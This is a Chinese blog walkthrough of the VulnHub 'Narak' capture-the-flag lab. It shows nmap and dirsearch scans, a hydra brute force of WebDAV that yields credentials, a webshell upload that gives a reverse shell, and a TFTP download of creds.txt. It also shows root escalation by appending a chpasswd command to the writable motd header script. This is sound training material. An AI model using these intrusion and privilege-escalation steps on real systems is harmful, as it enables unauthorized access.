vulnhub靶场 — NARAK

下载地址:https://download.vulnhub.com/ha/narak.ova

Description:

Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

Objective: Find 2 flags (user.txt and root.txt)

下载靶机镜像后, 用VM打开, 在设置里面打开NAT连接
nmap扫描c段, 可以扫描到靶机的地址,
nmap 192.168.75.0/24
在这里插入图片描述

方法一

打开网址, 一堆的图片, 没发现什么东西, 扫描一下目录
在这里插入图片描述

dirsearch扫描一下, 有一个webdav目录
在这里插入图片描述访问这个路由, 需要用户名和密码, 爆破一下
在这里插入图片描述

生成字典:
kali自带的工具 cewl , 爬取网站创建一个密码字典
cewl http://192.168.75.131/ -w 111.txt
在这里插入图片描述

爆破:
kali自带的工具 hydra, 几乎支持所有协议的在线破解

使用语法:hydra 参数 IP地址 服务名
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

爆破出用户名和密码
login: yamdoot
password: Swarg
在这里插入图片描述登录进去后
在这里插入图片描述

使用 cadaver 是webdav客户端工具 进行连接

cadaver http://192.168.75.131/webdav
在这里插入图片描述上传一个webshell.php, 进行反弹shell
在这里插入图片描述

成功反弹shell
在这里插入图片描述

进入python交互式 (便于观看)

python3 -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述

进行一些操作
在这里插入图片描述brainfuck在线工具:https://ctf.bugku.com/tool/brainfuck
解密后的结果:chitragupt 可能是某个密码

再根据前面在 home目录下的用户
尝试使用ssh进行连接
ssh inferno@192.168.75.131 加上前面解密后的密码, 可以连上
在这里插入图片描述

可以拿到第一个flag
在这里插入图片描述

根据前面的描述, 还有一个flag在root.txt里面,
但是权限不够, 需要提权
motd 提权 : https://www.cnblogs.com/zlgxzswjy/p/15899583.html
检查/etc/update-motd.d/00-header文件权限是否可写
ls -al /etc/update-motd.d/00-header
在这里插入图片描述
修改文件:
进入到文件夹 cd /etc/update-motd.d/
修改文件 echo "echo 'root:123456'|sudo chpasswd">>00-header

然后重新登录一下, root 用户的密码就变成了 123456
在这里插入图片描述拿到第二个flag
在这里插入图片描述

方法二

扫描到 tips.txt 访问
得到 Hint to open the door of narak can be found in creds.txt.
但是无法直接访问到creds.txt
根据前面的描述里面
Burning walls and demons are around every corner even your trusty tools will betray you on this quest
可能我们信任的工具会背叛我们, 可能就是指nmap扫描的时候有些端口没扫出来
扫描一下常见的UDP端口
sudo nmap -sU --top-ports 20 192.168.75.131
在这里插入图片描述有一个tftp端口,
tftp主要用于在客户机与服务器之间进行简单的文件传输
从文件服务器上获得或写入文件
尝试从靶机服务器把creds.txt下载下来
在这里插入图片描述在这里插入图片描述
得到了用户名和密码, 其他的就跟上面的第一种方法一样了

参考文章:
https://blog.csdn.net/Bossfrank/article/details/132641610
b站视频:https://www.bilibili.com/video/BV1iq4y1H7iD/?spm_id_from=333.999.0.0&vd_source=7c1592a5bda50152563f1c41df16f76b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值